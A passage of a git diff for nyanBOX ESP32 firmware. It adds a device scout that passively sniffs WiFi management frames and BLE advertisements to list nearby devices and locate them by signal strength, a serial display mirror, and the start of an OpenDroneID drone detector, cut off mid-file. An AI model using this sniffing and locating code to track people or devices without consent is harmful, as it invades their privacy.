snprintf(ageLine, sizeof(ageLine), "%lus", ageSeconds); + } + + snprintf(line, sizeof(line), "Scans:%-4d Age:%s", dev.scanCount, ageLine); + u8g2.drawStr(0, 48, line); + + u8g2.drawStr(0, 64, "L=Back R=Locate"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawLocateView() { + if (currentIndex >= scoutDevices.size()) { + isLocateMode = false; + needsRedraw = true; + return; + } + + const ScoutDeviceData& dev = scoutDevices[currentIndex]; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + if (dev.isWiFi && dev.channel > 0) { + snprintf(buf, sizeof(buf), "%s CH:%d", maskedAddress, dev.channel); + } else { + snprintf(buf, sizeof(buf), "%s", maskedAddress); + } + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +} + +void deviceScoutSetup() { + scoutDevices.clear(); + scoutDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + locateTargetIsWiFi = false; + locateTargetChannel = 0; + lastButtonPress = 0; + isScanning = true; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + currentPhase = PHASE_WIFI_INIT; + phaseStartTime = 0; + scanCompleted = false; + bleInitialized = false; + wifiInitialized = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + initWiFi(WIFI_MODE_STA); + esp_wifi_set_ps(WIFI_PS_NONE); + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + current_channel = 1; + wifiInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + + phaseStartTime = millis(); + lastScanTime = millis(); + last_channel_hop = millis(); +} + +void deviceScoutLoop() { + checkIdle(); + + unsigned long now = millis(); + + unsigned long effectiveWifiScanDuration = wifiScanDuration; + unsigned long effectiveBleScanDuration = bleScanDuration; + unsigned long effectiveScanInterval = scanInterval; + + if (scoutDevices.empty() && isContinuousScanEnabled() && scanCompleted) { + effectiveWifiScanDuration = 3000; + effectiveBleScanDuration = 3000; + effectiveScanInterval = 500; + } + + if ((currentPhase == PHASE_WIFI_INIT) && !isDetailView && !isLocateMode) { + hop_channel(); + } + + bool shouldShowPhaseScreen = !scanCompleted || (scoutDevices.empty() && isContinuousScanEnabled()); + + if (shouldShowPhaseScreen && !isDetailView && !isLocateMode && !scanCompleted) { + if (currentPhase == PHASE_WIFI_INIT) { + unsigned long elapsed = now - phaseStartTime; + + if (elapsed >= effectiveWifiScanDuration) { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(100); + + initBLE(); + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + bleInitialized = true; + + currentPhase = PHASE_BLE_INIT; + phaseStartTime = now; + needsRedraw = true; + } else { + if ((lastDeviceCount != (int)scoutDevices.size() || wasScanning != isScanning) || (now - lastLocateUpdate >= 100)) { + lastDeviceCount = (int)scoutDevices.size(); + wasScanning = isScanning; + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Device Scout"); + + char scanStr[32]; + snprintf(scanStr, sizeof(scanStr), "Scanning WiFi..."); + u8g2.drawStr(0, 22, scanStr); + + char countStr[32]; + int wifiCount = getWiFiDeviceCount(); + int bleCount = getBLEDeviceCount(); + snprintf(countStr, sizeof(countStr), "W:%d B:%d", wifiCount, bleCount); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveWifiScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + } else if (currentPhase == PHASE_BLE_INIT) { + unsigned long elapsed = now - phaseStartTime; + + if (!isScanning && elapsed >= effectiveBleScanDuration) { + if (bleInitialized) { + cleanupBLE(); + bleInitialized = false; + } + + esp_wifi_start(); + delay(50); + + currentPhase = PHASE_COMPLETED; + scanCompleted = true; + lastScanTime = now; + needsRedraw = true; + } else { + bool shouldRedraw = (lastDeviceCount != (int)scoutDevices.size()) || + (wasScanning != isScanning && !(scoutDevices.empty() && isContinuousScanEnabled())); + + if (shouldRedraw || (now - lastLocateUpdate >= 100)) { + lastDeviceCount = (int)scoutDevices.size(); + wasScanning = isScanning; + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Device Scout"); + u8g2.drawStr(0, 22, "Scanning BLE..."); + + char countStr[32]; + int wifiCount = getWiFiDeviceCount(); + int bleCount = getBLEDeviceCount(); + snprintf(countStr, sizeof(countStr), "W:%d B:%d", wifiCount, bleCount); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveBleScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + } + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + if (scanCompleted && now - lastScanTime > effectiveScanInterval && !isDetailView && !isLocateMode) { + for (auto &dev : scoutDevices) { + dev.seenThisCycle = false; + } + + if (scoutDevices.size() >= MAX_DEVICES) { + std::sort(scoutDevices.begin(), scoutDevices.end(), + [](const ScoutDeviceData &a, const ScoutDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + scoutDevices.erase(scoutDevices.begin(), + scoutDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + current_channel = 1; + + currentPhase = PHASE_WIFI_INIT; + scanCompleted = false; + phaseStartTime = now; + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)scoutDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 4) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !scoutDevices.empty()) { + isDetailView = true; + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !scoutDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, scoutDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + locateTargetIsWiFi = scoutDevices[currentIndex].isWiFi; + locateTargetChannel = scoutDevices[currentIndex].channel; + + if (locateTargetIsWiFi) { + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(locateTargetChannel, WIFI_SECOND_CHAN_NONE); + } else { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(100); + + initBLE(); + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + isScanning = true; + bleInitialized = true; + } + + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + locateTargetIsWiFi = false; + locateTargetChannel = 0; + + if (bleInitialized) { + cleanupBLE(); + bleInitialized = false; + esp_wifi_start(); + delay(50); + esp_wifi_set_ps(WIFI_PS_NONE); + } else { + esp_wifi_set_promiscuous(false); + } + + lastButtonPress = now; + lastScanTime = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + lastButtonPress = now; + needsRedraw = true; + } + } + + + if (scoutDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + locateTargetIsWiFi = false; + locateTargetChannel = 0; + } else { + currentIndex = constrain(currentIndex, 0, (int)scoutDevices.size() - 1); + listStartIndex = constrain(listStartIndex, 0, max(0, (int)scoutDevices.size() - 4)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (scoutDevices.empty() && scanCompleted && now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (scoutDevices.empty()) { + if (isContinuousScanEnabled()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Device Scout"); + u8g2.drawStr(0, 22, "Scanning..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "W:0 B:0"); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No devices found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + drawLocateView(); + return; + } else if (isDetailView) { + drawDetailView(); + return; + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + int wifiCount = getWiFiDeviceCount(); + int bleCount = getBLEDeviceCount(); + snprintf(header, sizeof(header), "W:%d B:%d (%d/%d)", wifiCount, bleCount, (int)scoutDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 4; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)scoutDevices.size()) + break; + auto &d = scoutDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 12, ">"); + + char maskedName[33]; + maskName(d.name, maskedName, sizeof(maskedName) - 1); + + char line[32]; + snprintf(line, sizeof(line), "%.12s %s %d", + maskedName, d.isWiFi ? "W" : "B", d.rssi); + u8g2.drawStr(10, 20 + i * 12, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void cleanupDeviceScout() { + cleanupWiFi(); + cleanupBLE(); +} \ No newline at end of file diff --git a/cyd-port/src/display_mirror.cpp b/cyd-port/src/display_mirror.cpp new file mode 100644 index 0000000..43be0a8 --- /dev/null +++ b/cyd-port/src/display_mirror.cpp @@ -0,0 +1,45 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/display_mirror.h" +#include + +static bool mirrorEnabled = false; + +void displayMirrorSetup() { + mirrorEnabled = false; +} + +void displayMirrorEnable(bool enable) { + mirrorEnabled = enable; +} + +bool displayMirrorEnabled() { + return mirrorEnabled; +} + +void displayMirrorSend(U8G2_SSD1306_128X64_NONAME_F_HW_I2C &display) { + if (!mirrorEnabled) return; + if (!Serial) return; + + uint8_t *buffer = display.getBufferPtr(); + size_t bufferSize = display.getBufferTileWidth() * display.getBufferTileHeight() * 8; + + Serial.write(""); + + uint16_t size = bufferSize; + Serial.write((uint8_t)(size & 0xFF)); + Serial.write((uint8_t)((size >> 8) & 0xFF)); + + Serial.write(buffer, bufferSize); + + Serial.write(""); +} diff --git a/cyd-port/src/drone_detector.cpp b/cyd-port/src/drone_detector.cpp new file mode 100644 index 0000000..208c6f9 --- /dev/null +++ b/cyd-port/src/drone_detector.cpp @@ -0,0 +1,1455 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + This file includes code derived from opendroneid-core-c + https://github.com/opendroneid/opendroneid-core-c + + Licensed under the Apache License, Version 2.0 + http://www.apache.org/licenses/LICENSE-2.0 + + Modifications have been made to the original code. + + SPDX-License-Identifier: MIT AND Apache-2.0 +*/ + +#include "../include/drone_detector.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "../include/pindefs.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include "../include/radio_manager.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +#define ODID_MESSAGE_SIZE 25 +#define ODID_ID_SIZE 20 +#define ODID_STR_SIZE 23 +#define ODID_BASIC_ID_MAX_MESSAGES 2 +#define ODID_AUTH_MAX_PAGES 1 + +enum ODID_messagetype { + ODID_MESSAGETYPE_BASIC_ID = 0, + ODID_MESSAGETYPE_LOCATION = 1, + ODID_MESSAGETYPE_AUTH = 2, + ODID_MESSAGETYPE_SELF_ID = 3, + ODID_MESSAGETYPE_SYSTEM = 4, + ODID_MESSAGETYPE_OPERATOR_ID = 5, + ODID_MESSAGETYPE_PACKED = 0xF, +}; + +enum ODID_idtype { + ODID_IDTYPE_NONE = 0, + ODID_IDTYPE_SERIAL_NUMBER = 1, + ODID_IDTYPE_CAA_REGISTRATION_ID = 2, + ODID_IDTYPE_UTM_ASSIGNED_UUID = 3, + ODID_IDTYPE_SPECIFIC_SESSION_ID = 4, +}; + +enum ODID_uatype { + ODID_UATYPE_NONE = 0, + ODID_UATYPE_AEROPLANE = 1, + ODID_UATYPE_HELICOPTER_OR_MULTIROTOR = 2, + ODID_UATYPE_GYROPLANE = 3, + ODID_UATYPE_HYBRID_LIFT = 4, + ODID_UATYPE_ORNITHOPTER = 5, + ODID_UATYPE_GLIDER = 6, + ODID_UATYPE_KITE = 7, + ODID_UATYPE_FREE_BALLOON = 8, + ODID_UATYPE_CAPTIVE_BALLOON = 9, + ODID_UATYPE_AIRSHIP = 10, + ODID_UATYPE_ROCKET = 12, + ODID_UATYPE_OTHER = 15, +}; + +enum ODID_status { + ODID_STATUS_UNDECLARED = 0, + ODID_STATUS_GROUND = 1, + ODID_STATUS_AIRBORNE = 2, + ODID_STATUS_EMERGENCY = 3, + ODID_STATUS_REMOTE_ID_SYSTEM_FAILURE = 4, +}; + +struct ODID_BasicID_data { + uint8_t UAType; + uint8_t IDType; + char UASID[ODID_ID_SIZE + 1]; +}; + +struct ODID_Location_data { + uint8_t Status; + float Direction; + float SpeedHorizontal; + float SpeedVertical; + double Latitude; + double Longitude; + float AltitudeBaro; + float AltitudeGeo; + uint8_t HeightType; + float Height; + uint8_t HorizAccuracy; + uint8_t VertAccuracy; + uint8_t BaroAccuracy; + uint8_t SpeedAccuracy; + uint8_t TSAccuracy; + float TimeStamp; +}; + +struct ODID_SelfID_data { + uint8_t DescType; + char Desc[ODID_STR_SIZE + 1]; +}; + +struct ODID_System_data { + uint8_t OperatorLocationType; + uint8_t ClassificationType; + double OperatorLatitude; + double OperatorLongitude; + uint16_t AreaCount; + uint16_t AreaRadius; + float AreaCeiling; + float AreaFloor; + uint8_t CategoryEU; + uint8_t ClassEU; + float OperatorAltitudeGeo; + uint32_t Timestamp; +}; + +struct ODID_OperatorID_data { + uint8_t OperatorIdType; + char OperatorId[ODID_ID_SIZE + 1]; +}; + +struct ODID_UAS_Data { + ODID_BasicID_data BasicID[ODID_BASIC_ID_MAX_MESSAGES]; + ODID_Location_data Location; + ODID_SelfID_data SelfID; + ODID_System_data System; + ODID_OperatorID_data OperatorID; + uint8_t BasicIDValid[ODID_BASIC_ID_MAX_MESSAGES]; + uint8_t LocationValid; + uint8_t SelfIDValid; + uint8_t SystemValid; + uint8_t OperatorIDValid; +}; + +const float SPEED_DIV[2] = {0.25f, 0.75f}; +const float VSPEED_DIV = 0.5f; +const int32_t LATLON_MULT = 10000000; +const float ALT_DIV = 0.5f; +const int ALT_ADDER = 1000; +const float INV_DIR = 361.0f; +const float INV_SPEED_H = 255.0f; +const float INV_SPEED_V = 63.0f; +const float INV_ALT = -1000.0f; +const uint16_t INV_TIMESTAMP = 0xFFFF; + +static void odid_initUasData(ODID_UAS_Data *data) { + if (! data) return; + memset(data, 0, sizeof(ODID_UAS_Data)); + + for (int i = 0; i < ODID_BASIC_ID_MAX_MESSAGES; i++) { + data->BasicIDValid[i] = 0; + } + data->LocationValid = 0; + data->SelfIDValid = 0; + data->SystemValid = 0; + data->OperatorIDValid = 0; + + data->Location.Direction = INV_DIR; + data->Location.SpeedHorizontal = INV_SPEED_H; + data->Location.SpeedVertical = INV_SPEED_V; + data->Location.AltitudeBaro = INV_ALT; + data->Location.AltitudeGeo = INV_ALT; + data->Location.Height = INV_ALT; + data->Location.TimeStamp = INV_TIMESTAMP; +} + +static float decodeDirection(uint8_t Direction_enc, uint8_t EWDirection) { + if (EWDirection) + return (float)Direction_enc + 180.0f; + else + return (float)Direction_enc; +} + +static float decodeSpeedHorizontal(uint8_t Speed_enc, uint8_t mult) { + if (Speed_enc == 255) return INV_SPEED_H; + if (mult) + return ((float)Speed_enc * SPEED_DIV[1]) + (255.0f * SPEED_DIV[0]); + else + return (float)Speed_enc * SPEED_DIV[0]; +} + +static float decodeSpeedVertical(int8_t SpeedVertical_enc) { + if (SpeedVertical_enc == 63) return INV_SPEED_V; + return (float)SpeedVertical_enc * VSPEED_DIV; +} + +static double decodeLatLon(int32_t LatLon_enc) { + return (double)LatLon_enc / (double)LATLON_MULT; +} + +static float decodeAltitude(uint16_t Alt_enc) { + if (Alt_enc == 0xFFFF) return INV_ALT; + return (float)Alt_enc * ALT_DIV - (float)ALT_ADDER; +} + +static float decodeTimeStamp(uint16_t Seconds_enc) { + if (Seconds_enc == INV_TIMESTAMP) + return (float)INV_TIMESTAMP; + else + return (float)Seconds_enc / 10.0f; +} + +static uint16_t decodeAreaRadius(uint8_t Radius_enc) { + return (uint16_t)((int)Radius_enc * 10); +} + +static int decodeBasicIDMessage(ODID_BasicID_data *outData, const uint8_t *inEncoded) { + if (!outData || !inEncoded) return -1; + + uint8_t msgType = (inEncoded[0] >> 4) & 0x0F; + if (msgType != ODID_MESSAGETYPE_BASIC_ID) return -1; + + outData->IDType = (inEncoded[1] >> 4) & 0x0F; + outData->UAType = inEncoded[1] & 0x0F; + + memcpy(outData->UASID, &inEncoded[2], ODID_ID_SIZE); + outData->UASID[ODID_ID_SIZE] = '\0'; + + return 0; +} + +static int decodeLocationMessage(ODID_Location_data *outData, const uint8_t *inEncoded) { + if (!outData || !inEncoded) return -1; + + uint8_t msgType = (inEncoded[0] >> 4) & 0x0F; + if (msgType != ODID_MESSAGETYPE_LOCATION) return -1; + + outData->Status = (inEncoded[1] >> 4) & 0x0F; + uint8_t SpeedMult = (inEncoded[1] >> 0) & 0x01; + uint8_t EWDirection = (inEncoded[1] >> 1) & 0x01; + uint8_t HeightType = (inEncoded[1] >> 2) & 0x01; + + outData->Direction = decodeDirection(inEncoded[2], EWDirection); + + outData->SpeedHorizontal = decodeSpeedHorizontal(inEncoded[3], SpeedMult); + + outData->SpeedVertical = decodeSpeedVertical((int8_t)inEncoded[4]); + + int32_t lat = (int32_t)((uint32_t)inEncoded[5] | + ((uint32_t)inEncoded[6] << 8) | + ((uint32_t)inEncoded[7] << 16) | + ((uint32_t)inEncoded[8] << 24)); + outData->Latitude = decodeLatLon(lat); + + int32_t lon = (int32_t)((uint32_t)inEncoded[9] | + ((uint32_t)inEncoded[10] << 8) | + ((uint32_t)inEncoded[11] << 16) | + ((uint32_t)inEncoded[12] << 24)); + outData->Longitude = decodeLatLon(lon); + + uint16_t altBaro = (uint16_t)inEncoded[13] | ((uint16_t)inEncoded[14] << 8); + outData->AltitudeBaro = decodeAltitude(altBaro); + + uint16_t altGeo = (uint16_t)inEncoded[15] | ((uint16_t)inEncoded[16] << 8); + outData->AltitudeGeo = decodeAltitude(altGeo); + + uint16_t height = (uint16_t)inEncoded[17] | ((uint16_t)inEncoded[18] << 8); + outData->Height = decodeAltitude(height); + outData->HeightType = HeightType; + + outData->HorizAccuracy = inEncoded[19] & 0x0F; + outData->VertAccuracy = (inEncoded[19] >> 4) & 0x0F; + + outData->SpeedAccuracy = inEncoded[20] & 0x0F; + outData->BaroAccuracy = (inEncoded[20] >> 4) & 0x0F; + + uint16_t timestamp = (uint16_t)inEncoded[21] | ((uint16_t)inEncoded[22] << 8); + outData->TimeStamp = decodeTimeStamp(timestamp); + + outData->TSAccuracy = inEncoded[23] & 0x0F; + + return 0; +} + +static int decodeSelfIDMessage(ODID_SelfID_data *outData, const uint8_t *inEncoded) { + if (!outData || !inEncoded) return -1; + + uint8_t msgType = (inEncoded[0] >> 4) & 0x0F; + if (msgType != ODID_MESSAGETYPE_SELF_ID) return -1; + + outData->DescType = inEncoded[1]; + memcpy(outData->Desc, &inEncoded[2], ODID_STR_SIZE); + outData->Desc[ODID_STR_SIZE] = '\0'; + + return 0; +} + +static int decodeSystemMessage(ODID_System_data *outData, const uint8_t *inEncoded) { + if (!outData || !inEncoded) return -1; + + uint8_t msgType = (inEncoded[0] >> 4) & 0x0F; + if (msgType != ODID_MESSAGETYPE_SYSTEM) return -1; + + outData->OperatorLocationType = inEncoded[1] & 0x03; + outData->ClassificationType = (inEncoded[1] >> 2) & 0x07; + + int32_t opLat = (int32_t)((uint32_t)inEncoded[2] | + ((uint32_t)inEncoded[3] << 8) | + ((uint32_t)inEncoded[4] << 16) | + ((uint32_t)inEncoded[5] << 24)); + outData->OperatorLatitude = decodeLatLon(opLat); + + int32_t opLon = (int32_t)((uint32_t)inEncoded[6] | + ((uint32_t)inEncoded[7] << 8) | + ((uint32_t)inEncoded[8] << 16) | + ((uint32_t)inEncoded[9] << 24)); + outData->OperatorLongitude = decodeLatLon(opLon); + + outData->AreaCount = (uint16_t)inEncoded[10] | ((uint16_t)inEncoded[11] << 8); + + outData->AreaRadius = decodeAreaRadius(inEncoded[12]); + + uint16_t ceiling = (uint16_t)inEncoded[13] | ((uint16_t)inEncoded[14] << 8); + outData->AreaCeiling = decodeAltitude(ceiling); + + uint16_t floor = (uint16_t)inEncoded[15] | ((uint16_t)inEncoded[16] << 8); + outData->AreaFloor = decodeAltitude(floor); + + outData->ClassEU = inEncoded[17] & 0x0F; + outData->CategoryEU = (inEncoded[17] >> 4) & 0x0F; + + uint16_t opAlt = (uint16_t)inEncoded[18] | ((uint16_t)inEncoded[19] << 8); + outData->OperatorAltitudeGeo = decodeAltitude(opAlt); + + outData->Timestamp = (uint32_t)inEncoded[20] | + ((uint32_t)inEncoded[21] << 8) | + ((uint32_t)inEncoded[22] << 16) | + ((uint32_t)inEncoded[23] << 24); + + return 0; +} + +static int decodeOperatorIDMessage(ODID_OperatorID_data *outData, const uint8_t *inEncoded) { + if (!outData || !inEncoded) return -1; + + uint8_t msgType = (inEncoded[0] >> 4) & 0x0F; + if (msgType != ODID_MESSAGETYPE_OPERATOR_ID) return -1; + + outData->OperatorIdType = inEncoded[1]; + + memset(outData->OperatorId, 0, ODID_ID_SIZE + 1); + strncpy(outData->OperatorId, (const char *)&inEncoded[2], ODID_ID_SIZE); + + return 0; +} + +static uint8_t decodeMessageType(uint8_t byte) { + return (byte >> 4) & 0x0F; +} + +static int decodeOpenDroneID(ODID_UAS_Data *uasData, const uint8_t *msgData) { + if (!uasData || !msgData) return -1; + + uint8_t msgType = decodeMessageType(msgData[0]); + + switch (msgType) { + case ODID_MESSAGETYPE_BASIC_ID: + for (int i = 0; i < ODID_BASIC_ID_MAX_MESSAGES; i++) { + if (! uasData->BasicIDValid[i] || uasData->BasicID[i]. IDType == ODID_IDTYPE_NONE) { + if (decodeBasicIDMessage(&uasData->BasicID[i], msgData) == 0) { + uasData->BasicIDValid[i] = 1; + return 0; + } + break; + } + } + break; + + case ODID_MESSAGETYPE_LOCATION: + if (decodeLocationMessage(&uasData->Location, msgData) == 0) { + uasData->LocationValid = 1; + return 0; + } + break; + + case ODID_MESSAGETYPE_SELF_ID: + if (decodeSelfIDMessage(&uasData->SelfID, msgData) == 0) { + uasData->SelfIDValid = 1; + return 0; + } + break; + + case ODID_MESSAGETYPE_SYSTEM: + if (decodeSystemMessage(&uasData->System, msgData) == 0) { + uasData->SystemValid = 1; + return 0; + } + break; + + case ODID_MESSAGETYPE_OPERATOR_ID: + if (decodeOperatorIDMessage(&uasData->OperatorID, msgData) == 0) { + uasData->OperatorIDValid = 1; + return 0; + } + break; + + case ODID_MESSAGETYPE_PACKED: + if (msgData[1] == ODID_MESSAGE_SIZE && msgData[2] > 0) { + int msgCount = msgData[2]; + for (int i = 0; i < msgCount && i < 9; i++) { + decodeOpenDroneID(uasData, &msgData[3 + i * ODID_MESSAGE_SIZE]); + } + return 0; + } + break; + } + + return -1; +} + +enum ScanPhase { + PHASE_WIFI_INIT, + PHASE_BLE_INIT, + PHASE_COMPLETED +}; + +struct DroneData { + char mac[18]; + char id[ODID_ID_SIZE + 1]; + int8_t rssi; + uint8_t uaType; + uint8_t idType; + uint8_t status; + double latitude; + double longitude; + float altitude; + float speed; + float direction; + float height; + char operatorId[ODID_ID_SIZE + 1]; + char description[ODID_STR_SIZE + 1]; + double operatorLatitude; + double operatorLongitude; + float operatorAltitude; + unsigned long lastSeen; + uint8_t messagesSeen; + char detectionMethod[16]; + bool isWiFi; +}; + +static std::vector drones; + +const int MAX_DRONES = 50; +const unsigned long debounceTime = 200; +const unsigned long locateUpdateInterval = 1000; +const unsigned long countdownUpdateInterval = 1000; +const unsigned long WIFI_SCAN_DURATION = 8000; +const unsigned long BLE_SCAN_DURATION = 8000; +const unsigned long SCAN_INTERVAL = 30000; +static const uint8_t FIXED_CHANNEL = 6; +static const uint8_t nan_dest[6] = {0x51, 0x6f, 0x9a, 0x01, 0x00, 0x00}; + +static int currentIndex 